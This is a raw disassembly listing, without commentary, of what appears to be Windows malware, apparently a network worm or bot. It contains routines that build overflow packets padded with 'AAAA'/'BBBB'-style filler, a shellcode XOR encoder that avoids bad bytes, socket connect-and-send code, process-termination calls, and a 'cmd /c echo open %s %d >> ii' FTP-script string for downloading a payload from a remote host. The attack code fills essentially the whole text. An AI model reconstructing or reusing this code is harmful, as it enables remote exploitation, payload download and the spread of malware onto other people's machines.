dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424760 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424790 proc near ; CODE XREF: sub_4017CBj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_4247A4 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4247A4: ; CODE XREF: sub_424790+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_444B94 lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424790 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_401EABj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_4014FB test al, al jnz short loc_42481C pop esi retn 8 ; --------------------------------------------------------------------------- loc_42481C: ; CODE XREF: sub_424800+16j mov ecx, esi call sub_4017CB pop esi retn 8 sub_424800 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401BEAj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424C15 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424C15 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_444830 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_444838 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B68 lea ecx, [esp+864h+var_830] call sub_4017CB mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "BBBB" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B68 push offset loc_444BB8 lea ecx, [esp+868h+var_810] call sub_402036 lea ecx, [esp+864h+var_810] call sub_401B68 mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401834 lea ecx, [esp+864h+var_808] call sub_401B68 mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EAB lea ecx, [esp+864h+var_808] call sub_4016B8 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402036 push 4 push offset dword_44483C lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B68 mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_4014FB mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_4014FB lea ecx, [esp+864h+var_820] call sub_4017CB lea ecx, [esp+864h+var_848] call sub_4016B8 lea ecx, [esp+864h+var_810] call sub_4016B8 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_4014FB mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_4014FB mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_4014FB lea ecx, [esp+864h+var_828] call sub_4017CB lea ecx, [esp+864h+var_840] call sub_4016B8 lea ecx, [esp+864h+var_830] call sub_4016B8 lea ecx, [esp+864h+var_820] call sub_4016B8 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B68 push 2 push offset dword_444BAC lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_4014FB lea ecx, [esp+864h+var_838] call sub_4017CB lea ecx, [esp+864h+var_828] call sub_4016B8 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016B8 push offset dword_444BA8 lea ecx, [esp+868h+var_858] call sub_402036 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_443E80 lea ecx, [esp+868h+var_850] call sub_402036 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016B8 push offset dword_444B9C lea ecx, [esp+868h+var_858] call sub_402036 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_444B98 lea ecx, [esp+868h+var_818] call sub_402036 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4016B8 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424C15: ; CODE XREF: sub_424840+1Ej ; sub_424840+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424D40 proc near ; CODE XREF: sub_401AB4j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 call near ptr 71AB2DC0h nop cmp eax, 1 jz short loc_424DA9 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DA9: ; CODE XREF: sub_424D40+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_436F60 sub_424D40 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424DC0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DC0: ; CODE XREF: ___:00424DB6j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi call near ptr 71AB615Ah nop pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi nop call near ptr 71AB2BC0h mov edi, [esp+0Ch+arg_0] mov ebx, dword_50FC8C mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx ; send cmp eax, 4 jz short loc_424E53 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424E53: ; CODE XREF: sub_424E20+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx ; send xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424E20 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E90 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424EC3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E90+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_4448CC shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_444844 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_4448FC mov [ebx+31h], eax mov ecx, dword_444900 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_50E130 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_50E134 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_424F68 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424F68: ; CODE XREF: sub_424E90+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AB4 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_424FA3 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424E90+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AB4 push ebx nop call near ptr 77C2C21Bh add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424E90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425020 proc near ; CODE XREF: sub_401811j var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = word ptr -410h var_40E = word ptr -40Eh var_40A = dword ptr -40Ah var_406 = dword ptr -406h var_402 = word ptr -402h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 41Ch mov ecx, 0FFh xor eax, eax push ebp push esi push edi lea edi, [esp+428h+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_444A70 lea edi, [esp+428h+var_400] rep movsd movsw mov ecx, offset byte_447541 movsb call sub_4017E4 push eax mov ecx, offset byte_447541 call sub_4017E4 mov ecx, [esp+42Ch+arg_0] push eax mov eax, dword_44767F push eax push ecx call sub_401DF7 add esp, 4 lea edx, [esp+434h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx nop call near ptr 77C3FA76h add eax, 90h lea ecx, [esp+444h+var_418] push eax lea eax, [esp+448h+var_400] push eax push 164h push offset sub_444908 push ecx call sub_401BEA mov eax, [esp+458h+var_414] xor edi, edi add esp, 30h cmp eax, edi jnz short loc_4250C9 xor eax, eax pop edi pop esi pop ebp add esp, 41Ch retn ; --------------------------------------------------------------------------- loc_4250C9: ; CODE XREF: sub_425020+9Bj mov ebp, dword_50FC2C mov [esp+428h+var_41C], edi loc_4250D3: ; CODE XREF: sub_425020+158j test edi, edi jnz loc_42517E push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_425161 mov eax, [esp+428h+arg_9E] xor edx, edx mov dword ptr [esp+428h+var_40E], edx push eax mov [esp+42Ch+var_40A], edx mov [esp+42Ch+var_410], 2 mov [esp+42Ch+var_406], edx mov [esp+42Ch+var_402], dx call ebp ; ntohs lea ecx, [esp+428h+arg_4] mov [esp+428h+var_40E], ax push ecx nop call near ptr 71AB2BF4h lea edx, [esp+428h+var_410] push 10h push edx push esi mov [esp+28h], eax call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jz short loc_425156 mov eax, [esp+428h+var_414] mov ecx, [esp+428h+var_418] push eax push ecx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_425156: ; CODE XREF: sub_425020+11Aj push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_42516C loc_425161: ; CODE XREF: sub_425020+CCj push 3E8h call near ptr 2811E0Eh nop loc_42516C: ; CODE XREF: sub_425020+13Fj mov eax, [esp+428h+var_41C] inc eax cmp eax, 2 mov [esp+428h+var_41C], eax jl loc_4250D3 loc_42517E: ; CODE XREF: sub_425020+B5j lea ecx, [esp+428h+var_418] call sub_4016B8 test edi, edi jz short loc_4251AE sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E4h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_4251AE: ; CODE XREF: sub_425020+169j pop edi pop esi mov eax, 1 pop ebp add esp, 41Ch retn sub_425020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425230 proc near ; CODE XREF: sub_4013C5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_425230 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425270 proc near ; CODE XREF: sub_40178Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013C5 mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_425295 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_425270+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_444C98 mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_444CFC, ecx lea ecx, [eax+1] mov dword_444D1D, ecx lea ecx, [eax+17h] mov dword_444D15, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_444D2B, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_444D0C lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_444D10 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_444D11 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_444D15 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_444D19 mov [ecx+8], esi mov esi, dword_444D1D mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_444D21 rep movsd pop edi pop ebp pop esi pop ebx retn sub_425270 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253E0 proc near ; CODE XREF: sub_402162j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013C5 push eax call sub_4017BC add esp, 0Ch retn sub_4253E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_425410: ; CODE XREF: ___:00401735j push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402162 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_425433 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: ___:0042542Bj cmp eax, 0FFFFh jbe short loc_425440 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425440: ; CODE XREF: ___:00425438j push esi push edi push ebx call sub_4013C5 add eax, 101h push eax nop call near ptr 77C2C407h add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013C5 add esp, 8 push eax push esi call sub_40178A push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B77 push esi mov edi, eax nop call near ptr 77C2C21Bh add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254B0 proc near ; CODE XREF: sub_4017BCj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4254B9 inc ecx loc_4254B9: ; CODE XREF: sub_4254B0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4254B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254E0 proc near ; CODE XREF: sub_401B77j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4254F8 cmp bl, 0Dh jz short loc_4254F8 cmp bl, 5Ch jz short loc_4254F8 test bl, bl jnz short loc_4254F9 loc_4254F8: ; CODE XREF: sub_4254E0+8j ; sub_4254E0+Dj ... inc ebx loc_4254F9: ; CODE XREF: sub_4254E0+16j cmp ebx, 0FFh jbe short loc_42551C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_425516 cmp al, 0Dh jz short loc_425516 cmp al, 5Ch jz short loc_425516 test al, al jnz short loc_42551C loc_425516: ; CODE XREF: sub_4254E0+28j ; sub_4254E0+2Cj ... add ebx, 100h loc_42551C: ; CODE XREF: sub_4254E0+1Fj ; sub_4254E0+34j push ebx call sub_4017BC mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_425535 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425535: ; CODE XREF: sub_4254E0+4Fj cmp eax, 0FFFFh jbe short loc_425540 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425540: ; CODE XREF: sub_4254E0+5Aj mov al, byte_50E138 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_425570 loc_425551: ; CODE XREF: sub_4254E0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_425567 cmp cl, 0Ah jz short loc_425567 cmp cl, 0Dh jz short loc_425567 cmp cl, 5Ch jnz short loc_42556B loc_425567: ; CODE XREF: sub_4254E0+76j ; sub_4254E0+7Bj ... inc al xor edx, edx loc_42556B: ; CODE XREF: sub_4254E0+85j inc edx cmp edx, ebx jb short loc_425551 loc_425570: ; CODE XREF: sub_4254E0+6Fj cmp ebx, 0FFh push edi mov byte_50E138, al ja short loc_4255A3 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C80 mov edi, edx mov byte_444C8D, bl mov byte_444C91, al rep movsd movsb mov esi, 15h jmp short loc_4255C9 ; --------------------------------------------------------------------------- loc_4255A3: ; CODE XREF: sub_4254E0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C68 mov edi, edx mov word_444C76, bx mov byte_444C7B, al rep movsd movsw movsb mov esi, 17h loc_4255C9: ; CODE XREF: sub_4254E0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4255DF add esi, edx loc_4255D2: ; CODE XREF: sub_4254E0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4255D2 loc_4255DF: ; CODE XREF: sub_4254E0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4254E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425640 proc near ; CODE XREF: sub_401E24j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_4491CF[eax*4], ecx mov dword_4491BB[eax*4], ecx mov dword_4491BF[eax*4], ecx mov dword_4491C3[eax*4], ecx mov dword_4491C7[eax*4], ecx mov dword_4491CB[eax*4], ecx mov byte_448FBB[eax*4], cl mov byte_4491D3[eax*4], cl retn sub_425640 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4256B0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_425767 cmp ecx, 400h jge loc_425767 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_4491CF[esi*4] push eax call near ptr 2760676h nop cmp dword_4491CF[esi*4], ebx jz short loc_4256F8 mov ebp, 1 loc_4256F8: ; CODE XREF: sub_4256B0+41j mov dword_4491CF[esi*4], ebx mov dword_4491BB[esi*4], ebx mov dword_4491BF[esi*4], ebx mov eax, dword_4491C3[esi*4] cmp eax, ebx jbe short loc_425721 push eax call sub_401C6C add esp, 4 loc_425721: ; CODE XREF: sub_4256B0+66j mov edi, dword_50FC88 mov dword_4491C3[esi*4], ebx mov byte_448FBB[esi*4], bl mov byte_4491D3[esi*4], bl mov ecx, dword_4491C7[esi*4] push ecx call edi ; closesocket mov dword_4491C7[esi*4], ebx mov edx, dword_4491CB[esi*4] lea esi, ds:4491CBh[esi*4] push edx call edi ; closesocket mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_425767: ; CODE XREF: sub_4256B0+Cj ; sub_4256B0+18j mov eax, ebp pop ebp pop ebx retn sub_4256B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257A0 proc near ; CODE XREF: sub_401D93j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_4491BF loc_4257B1: ; CODE XREF: sub_4257A0+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_4257E5 test ebx, ebx jle short loc_4257D7 cmp [esi], ebx jz short loc_4257C8 cmp edi, ebx jnz short loc_4257E5 loc_4257C8: ; CODE XREF: sub_4257A0+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 jmp short loc_4257E4 ; --------------------------------------------------------------------------- loc_4257D7: ; CODE XREF: sub_4257A0+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 loc_4257E4: ; CODE XREF: sub_4257A0+35j inc ebp loc_4257E5: ; CODE XREF: sub_4257A0+1Aj ; sub_4257A0+26j ... add esi, 234h inc edi cmp esi, offset byte_4D61BF jl short loc_4257B1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_4257A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425820 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 nop call near ptr 2770316h mov esi, eax test esi, esi jz short loc_425855 push 0 push esi call near ptr 2700000h nop test eax, eax jnz short loc_425855 push esi xor edi, edi nop call near ptr 28207FBh loc_425855: ; CODE XREF: sub_425820+1Dj ; sub_425820+2Aj mov eax, edi pop edi pop esi retn sub_425820 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425870 proc near ; CODE XREF: sub_401483j arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_4491BB loc_42587B: ; CODE XREF: sub_425870+1Cj cmp [ecx], edx jnz short loc_425880 inc eax loc_425880: ; CODE XREF: sub_425870+Dj add ecx, 234h cmp ecx, offset byte_4D61BB jl short loc_42587B retn sub_425870 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258A0 proc near ; CODE XREF: sub_401D8Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_4491BB loc_4258AE: ; CODE XREF: sub_4258A0+1Fj cmp [ecx], edx jz short loc_4258C3 add ecx, 234h inc eax cmp ecx, offset byte_4D61BB jl short loc_4258AE mov eax, esi loc_4258C3: ; CODE XREF: sub_4258A0+10j pop esi retn sub_4258A0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258E0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_448FBB loc_4258E8: ; CODE XREF: sub_4258E0+18j cmp byte ptr [eax], 0 jz short loc_4258FE add eax, 234h inc edi cmp eax, offset dword_4D5FBB jl short loc_4258E8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_4258FE: ; CODE XREF: sub_4258E0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:448FBBh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi call near ptr 77C47A90h nop mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_4258E0 endp ; 